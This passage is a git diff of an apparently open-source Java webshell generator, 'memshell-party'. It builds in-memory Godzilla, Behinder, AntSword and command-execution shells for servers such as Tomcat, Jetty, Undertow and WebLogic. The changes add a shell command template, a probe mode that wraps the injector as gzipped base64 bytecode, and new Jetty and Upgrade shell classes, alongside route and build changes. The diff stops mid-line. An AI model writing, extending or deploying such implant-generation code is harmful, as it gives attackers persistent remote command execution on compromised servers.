diff --git a/.github/scripts/parse_changelog_of_version.py b/.github/scripts/parse_changelog_of_version.py index 3f8f09bb..e788a3d2 100644 --- a/.github/scripts/parse_changelog_of_version.py +++ b/.github/scripts/parse_changelog_of_version.py @@ -9,7 +9,7 @@ args = parser.parse_args() version = args.version - with open("../../CHANGELOG.md") as f: + with open("../../web/content/docs/changelog.mdx") as f: lines = f.readlines() for line in lines: if line.startswith(f"## [{version}]"): diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml index 6acf167a..524d17ed 100644 --- a/.github/workflows/dev-deploy.yaml +++ b/.github/workflows/dev-deploy.yaml @@ -25,6 +25,11 @@ jobs: - name: Setup Gradle uses: gradle/actions/setup-gradle@v4 + - name: Setup Node + uses: actions/setup-node@v6 + with: + node-version: 22 + - name: Setup Bun uses: oven-sh/setup-bun@v2 with: diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml index b89277ee..09bab46e 100644 --- a/.github/workflows/memshell-integration-test.yml +++ b/.github/workflows/memshell-integration-test.yml @@ -27,7 +27,7 @@ jobs: - middleware: "jbossas" depend_tasks: ":vul:vul-webapp:war" - middleware: "jbosseap" - depend_tasks: ":vul:vul-webapp:war" + depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" - middleware: "wildfly" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" - middleware: "glassfish" diff --git a/.github/workflows/probe-integration-test.yml b/.github/workflows/probe-integration-test.yml index ee2fc5b2..31e18479 100644 --- a/.github/workflows/probe-integration-test.yml +++ b/.github/workflows/probe-integration-test.yml @@ -25,7 +25,7 @@ jobs: - middleware: "jbossas" depend_tasks: ":vul:vul-webapp:war" - middleware: "jbosseap" - depend_tasks: ":vul:vul-webapp:war" + depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" - middleware: "wildfly" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" - middleware: "glassfish" diff --git a/README.md b/README.md index c03dc6dc..5beb62b4 100644 --- a/README.md +++ b/README.md @@ -78,23 +78,6 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest ``` -镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了 - -```bash -# 移除之前部署的 -docker rm -f memshell-party - -# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署) -docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest -``` - -## User Guide - -1. [适配情况](./docs/Compatibility.md) -2. [本地构建](./docs/BuildOnLocal.md) -3. [SDK 集成](./examples/memshell-party-maven-example) -4. [代码贡献](./CONTRIBUTING.md) - ## Special Thanks - [vulhub/java-chains](https://github.com/vulhub/java-chains) diff --git a/boot/build.gradle.kts b/boot/build.gradle.kts index 72d82ea8..0ec08078 100644 --- a/boot/build.gradle.kts +++ b/boot/build.gradle.kts @@ -33,7 +33,7 @@ dependencies { exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat") } implementation(libs.commons.lang3) - implementation("org.springframework.boot:spring-boot-starter-jetty") + implementation("org.springframework.boot:spring-boot-starter-undertow") compileOnly("org.projectlombok:lombok") developmentOnly("org.springframework.boot:spring-boot-devtools") annotationProcessor("org.springframework.boot:spring-boot-configuration-processor") diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java index 46a5f187..a67131b0 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java @@ -17,7 +17,7 @@ @CrossOrigin("*") public class ClassNameParseController { - @PostMapping("/className") + @PostMapping("/api/className") public String className(@RequestBody String classBase64) { return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64))); } diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index b6d42c6f..35bd6384 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -17,7 +17,7 @@ * @since 2024/12/13 */ @RestController -@RequestMapping("/config") +@RequestMapping("/api/config") @CrossOrigin("*") public class ConfigController { diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java index 25c23df1..7de47c09 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java @@ -19,7 +19,7 @@ * @since 2024/12/18 */ @RestController -@RequestMapping("/memshell/generate") +@RequestMapping("/api/memshell/generate") @CrossOrigin("*") public class MemShellGeneratorController { @PostMapping diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java index 23cbbbdc..dda717c1 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java @@ -15,7 +15,7 @@ * @since 2025/8/10 */ @RestController -@RequestMapping("/probe/generate") +@RequestMapping("/api/probe/generate") @CrossOrigin("*") public class ProbeShellGeneratorController { @PostMapping diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java index a0380248..f3153d10 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java @@ -22,7 +22,7 @@ */ @RestController @CrossOrigin("*") -@RequestMapping("/version") +@RequestMapping("/api/version") public class VersionController { @Value("${spring.application.version}") diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java index bb93b51c..0561ba2f 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java @@ -1,16 +1,76 @@ package com.reajason.javaweb.boot.controller; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import lombok.extern.slf4j.Slf4j; +import org.springframework.core.io.ClassPathResource; +import org.springframework.http.MediaType; import org.springframework.stereotype.Controller; +import org.springframework.util.FileCopyUtils; import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import java.io.IOException; +import java.io.InputStreamReader; +import java.nio.charset.StandardCharsets; /** * @author ReaJason * @since 2024/12/19 */ @Controller +@Slf4j public class ViewController { @GetMapping("/") public String index(){ - return "index"; + return "redirect:/ui"; + } + + @GetMapping({"/api/search", "/api/search.data"}) + @ResponseBody + public String handleSearch(HttpServletRequest request, HttpServletResponse response) { + String fullPath = request.getRequestURI().replace(request.getContextPath(), ""); + String relativePath = fullPath.substring(1); + return renderFileData(relativePath, response); + } + + @GetMapping({"/ui/docs/*.data", "/ui/*.data"}) + @ResponseBody + public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException { + String fullPath = request.getRequestURI().replace(request.getContextPath(), ""); + String relativePath = fullPath.substring(4); + return renderFileData(relativePath, response); + } + + + @GetMapping("/ui/**") + public String handleHtmlView(HttpServletRequest request) { + String fullPath = request.getRequestURI().replace(request.getContextPath(), ""); + if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) { + return "index"; + } + String viewPath = fullPath.substring(4); + return viewPath + "/index"; + } + + private String renderFileData(String relativePath, HttpServletResponse response) { + try { + String templatePath = "templates/" + relativePath; + ClassPathResource resource = new ClassPathResource(templatePath); + if (!resource.exists()) { + response.setStatus(HttpServletResponse.SC_NOT_FOUND); + return "File not found: " + relativePath; + } + response.setContentType(MediaType.TEXT_PLAIN_VALUE); + response.setCharacterEncoding("UTF-8"); + InputStreamReader reader = new InputStreamReader( + resource.getInputStream(), + StandardCharsets.UTF_8 + ); + return FileCopyUtils.copyToString(reader); + } catch (IOException e) { + response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR); + return "Error reading file: " + e.getMessage(); + } } } diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java index e93f61f2..56c709c7 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java @@ -23,6 +23,7 @@ public static class ShellToolConfigDTO { private String godzillaPass; private String godzillaKey; private String commandParamName; + private String commandTemplate; private String behinderPass; private String antSwordPass; private String headerName; @@ -50,6 +51,7 @@ public ShellToolConfig parseShellToolConfig() { case Command -> CommandConfig.builder() .shellClassName(shellToolConfig.getShellClassName()) .paramName(shellToolConfig.getCommandParamName()) + .template(shellToolConfig.getCommandTemplate()) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .build(); diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java index 78cca343..c8c8cdf3 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java @@ -21,6 +21,7 @@ static class ProbeContentConfigDTO { private String server; private String sleepServer; private String reqParamName; + private String commandTemplate; } public ProbeContentConfig parseProbeContentConfig() { @@ -34,6 +35,7 @@ public ProbeContentConfig parseProbeContentConfig() { .build(); case ResponseBody -> ResponseBodyConfig.builder() .reqParamName(probeContentConfig.reqParamName) + .commandTemplate(probeContentConfig.commandTemplate) .server(probeContentConfig.server) .build(); default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod()); diff --git a/boot/src/main/resources/application.yaml b/boot/src/main/resources/application.yaml index 13f8adee..79f1ace8 100644 --- a/boot/src/main/resources/application.yaml +++ b/boot/src/main/resources/application.yaml @@ -1,4 +1,7 @@ spring: application: name: boot - version: ${version} \ No newline at end of file + version: ${version} + mvc: + pathmatch: + matching-strategy: ant_path_matcher \ No newline at end of file diff --git a/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java b/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java index 32f8f937..712e9697 100644 --- a/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java +++ b/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java @@ -26,21 +26,21 @@ public class ConfigControllerIntegrationTest { @Test public void testConfigEndpoint() { - ResponseEntity response = restTemplate.getForEntity("/config", Map.class); + ResponseEntity response = restTemplate.getForEntity("/api/config", Map.class); assertEquals(HttpStatus.OK, response.getStatusCode()); assertNotNull(response.getBody()); } @Test public void testConfigServersEndpoint() { - ResponseEntity response = restTemplate.getForEntity("/config/servers", Map.class); + ResponseEntity response = restTemplate.getForEntity("/api/config/servers", Map.class); assertEquals(HttpStatus.OK, response.getStatusCode()); assertNotNull(response.getBody()); } @Test public void testConfigPackersEndpoint() { - ResponseEntity response = restTemplate.getForEntity("/config/packers", List.class); + ResponseEntity response = restTemplate.getForEntity("/api/config/packers", List.class); assertEquals(HttpStatus.OK, response.getStatusCode()); assertNotNull(response.getBody()); } diff --git a/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java b/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java index 51fd388c..eaac9fbd 100644 --- a/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java +++ b/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java @@ -51,7 +51,7 @@ void generateShell() { shellToolConfigDTO.setHeaderValue("hello"); request.setShellToolConfig(shellToolConfigDTO); ResponseEntity response = restTemplate.postForEntity( - "/memshell/generate", request, MemShellGenerateResponse.class); + "/api/memshell/generate", request, MemShellGenerateResponse.class); assertEquals(HttpStatus.OK, response.getStatusCode()); assertNotNull(response.getBody()); } diff --git a/build.gradle.kts b/build.gradle.kts index dcd5a87f..9b7de800 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -9,7 +9,7 @@ idea { } } -version = "2.2.0" +version = "2.3.0-SNAPSHOT" tasks.register("publishAllToMavenCentral") { dependsOn(":memshell-party-common:publishToMavenCentral") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index d6c2a0a7..520d8dae 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -6,7 +6,13 @@ import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.generator.InjectorGenerator; import com.reajason.javaweb.memshell.server.AbstractServer; +import com.reajason.javaweb.probe.ProbeContent; +import com.reajason.javaweb.probe.ProbeMethod; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.config.ResponseBodyConfig; +import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator; import com.reajason.javaweb.utils.CommonUtil; +import org.apache.commons.codec.binary.Base64; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; @@ -46,6 +52,11 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName()); } + if (shellConfig.isLambdaSuffix()) { + shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName())); + injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName())); + } + byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); injectorConfig.setInjectorClass(injectorClass); @@ -54,6 +65,25 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); byte[] injectorBytes = injectorGenerator.generate(); + if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) { + ProbeConfig probeConfig = ProbeConfig.builder() + .shellClassName(injectorConfig.getInjectorClassName() + "1") + .probeMethod(ProbeMethod.ResponseBody) + .probeContent(ProbeContent.Bytecode) + .targetJreVersion(shellConfig.getTargetJreVersion()) + .byPassJavaModule(shellConfig.isByPassJavaModule()) + .shrink(shellConfig.isShrink()) + .debug(shellConfig.isDebug()) + .staticInitialize(injectorConfig.isStaticInitialize()) + .build(); + ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder() + .server(serverName) + .base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes))) + .build(); + injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes(); + injectorConfig.setInjectorClassName(probeConfig.getShellClassName()); + } + Map innerClassBytes = injectorGenerator.getInnerClassBytes(); return MemShellResult.builder() diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java index 81a2c371..7d7ec25a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java @@ -69,7 +69,10 @@ public class ServerFactory { .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class) .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class) - .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class) + .addShellClass(HANDLER, GodzillaJettyHandler.class) + .addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class) + .addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class) + .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) @@ -129,6 +132,7 @@ public class ServerFactory { .addShellClass(JAKARTA_PROXY_VALVE, Command.class) .addShellClass(WEBSOCKET, CommandWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class) + .addShellClass(UPGRADE, CommandUpgrade.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class) @@ -140,7 +144,10 @@ public class ServerFactory { .addShellClass(NETTY_HANDLER, CommandNettyHandler.class) .addShellClass(AGENT_FILTER_CHAIN, Command.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class) - .addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class) + .addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class) + .addShellClass(HANDLER, CommandJettyHandler.class) + .addShellClass(CUSTOMIZER, CommandJettyCustomizer.class) + .addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index 542d6bf2..c0bd11eb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -15,17 +15,22 @@ public class ShellType { public static final String JAKARTA_LISTENER = JAKARTA + LISTENER; public static final String VALVE = "Valve"; + public static final String UPGRADE = "Upgrade"; public static final String JAKARTA_VALVE = JAKARTA + VALVE; public static final String PROXY_VALVE = "Proxy" + VALVE; public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE; + public static final String HANDLER = "Handler"; + public static final String JAKARTA_HANDLER = JAKARTA + HANDLER; + public static final String CUSTOMIZER = "Customizer"; + public static final String NETTY_HANDLER = "NettyHandler"; public static final String AGENT = "Agent"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; - public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; + public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java index 6cd1091a..9018164b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java @@ -15,15 +15,30 @@ @SuperBuilder @ToString public class CommandConfig extends ShellToolConfig { + + /** + * 接收参数的请求头或请求参数名称 + */ @Builder.Default private String paramName = CommonUtil.getRandomString(8); + /** + * 加密器 + */ @Builder.Default private Encryptor encryptor = Encryptor.RAW; + /** + * 实现类 + */ @Builder.Default private ImplementationClass implementationClass = ImplementationClass.RuntimeExec; + /** + * 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符 + */ + private String template; + public static abstract class CommandConfigBuilder> extends ShellToolConfig.ShellToolConfigBuilder { public B paramName(String paramName) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java index 897b6671..5ec889eb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java @@ -55,17 +55,28 @@ public class ShellConfig { @Builder.Default private boolean debug = false; + /** + * 是否使用回显模式 + */ + @Builder.Default + private boolean probe = false; + /** * 是否启用缩小字节码 */ @Builder.Default private boolean shrink = false; + /** + * 追加 Lambda 类名后缀 + */ + @Builder.Default + private boolean lambdaSuffix = false; + public boolean isDebugOff() { return !debug; } - public boolean isJakarta() { return shellType.startsWith(ShellType.JAKARTA); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ASMShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ASMShellGenerator.java deleted file mode 100644 index de6925f7..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ASMShellGenerator.java +++ /dev/null @@ -1,19 +0,0 @@ -package com.reajason.javaweb.memshell.generator; - -import com.reajason.javaweb.ShellGenerator; -import com.reajason.javaweb.memshell.config.ShellConfig; -import com.reajason.javaweb.memshell.config.ShellToolConfig; - -/** - * @author ReaJason - * @since 2025/5/27 - */ -public abstract class ASMShellGenerator implements ShellGenerator { - protected final ShellConfig shellConfig; - protected final T shellToolConfig; - - protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) { - this.shellConfig = shellConfig; - this.shellToolConfig = shellToolConfig; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java index 296e2568..4243a60c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java @@ -1,16 +1,10 @@ package com.reajason.javaweb.memshell.generator; -import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.ShellGenerator; -import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; -import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.ServerFactory; -import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; -import com.reajason.javaweb.memshell.server.AbstractServer; import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.dynamic.DynamicType; @@ -34,38 +28,21 @@ public byte[] getBytes() { DynamicType.Builder builder = getBuilder(); String shellClassName = shellToolConfig.getShellClassName(); Class shellClass = shellToolConfig.getShellClass(); + if (shellClass != null) { shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass)); } + if (shellToolConfig.getShellTypeDescription() == null) { throw new GenerationException("shellClass or shellTypeDescription could not be null."); } - String shellType = shellConfig.getShellType(); - AbstractServer server = ServerFactory.getServer(shellConfig.getServer()); - - if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) { - builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellToolConfig.getShellTypeDescription(), shellClassName); - } - - if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) { - builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion()); - } - - if (shellConfig.isJakarta()) { - builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); - } - - if (shellConfig.isDebugOff()) { - builder = LogRemoveMethodVisitor.extend(builder); - } - - builder = builder + builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig) .name(shellClassName) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); try (DynamicType.Unloaded unloaded = builder.make()) { - return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink()); + return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/Processor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/Processor.java new file mode 100644 index 00000000..4e185537 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/Processor.java @@ -0,0 +1,12 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; + +/** + * @author ReaJason + * @since 2025/12/7 + */ +public interface Processor { + T process(T input, ShellConfig shellConfig, ShellToolConfig shellToolConfig); +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java new file mode 100644 index 00000000..4bbb07b1 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java @@ -0,0 +1,52 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.generator.processors.*; +import net.bytebuddy.dynamic.DynamicType; + +import java.util.Arrays; +import java.util.List; + +/** + * @author ReaJason + * @since 2025/12/7 + */ +public final class ProcessorRegistry { + + private static final List>> BUILDER_PROCESSORS = Arrays.asList( + new ListenerBuilderModifier(), + new ValveBuilderModifier(), + new JakartaBuilderModifier(), + new DebugOffBuilderModifier() + ); + + private static final List> BYTE_PROCESSORS = Arrays.asList( + new ShrinkPostProcessor(), + new JettyHandlerPostProcessor() + ); + + private ProcessorRegistry() { + // Prevent instantiation + } + + public static DynamicType.Builder applyBuilderProcessors( + DynamicType.Builder builder, + ShellConfig shellConfig, + ShellToolConfig shellToolConfig) { + for (Processor> processor : BUILDER_PROCESSORS) { + builder = processor.process(builder, shellConfig, shellToolConfig); + } + return builder; + } + + public static byte[] applyByteProcessors( + byte[] bytes, + ShellConfig shellConfig, + ShellToolConfig shellToolConfig) { + for (Processor processor : BYTE_PROCESSORS) { + bytes = processor.process(bytes, shellConfig, shellToolConfig); + } + return bytes; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java index b275b077..34f5ec03 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java @@ -1,8 +1,6 @@ package com.reajason.javaweb.memshell.generator.command; -import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; -import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator; @@ -33,14 +31,6 @@ public DynamicType.Builder getBuilder() { .field(named("paramName")) .value(shellToolConfig.getParamName()); - if (shellConfig.isJakarta()) { - builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); - } - - if (shellConfig.isDebugOff()) { - builder = LogRemoveMethodVisitor.extend(builder); - } - if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) { builder = builder .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam", @@ -52,13 +42,17 @@ public DynamicType.Builder getBuilder() { .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); } - if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { - builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream"))); + builder = builder.visit(Advice.withCustomMapping() + .bind(TemplateAnnotation.class, shellToolConfig.getTemplate()) + .to(RuntimeExecInterceptor.class) + .on(named("getInputStream"))); } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) { - builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream"))); + builder = builder.visit(Advice.withCustomMapping() + .bind(TemplateAnnotation.class, shellToolConfig.getTemplate()) + .to(ForkAndExecInterceptor.class) + .on(named("getInputStream"))); } - return builder; } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java index 7597e7a2..75f6fe99 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java @@ -13,9 +13,27 @@ */ public class ForkAndExecInterceptor { @Advice.OnMethodExit - public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws 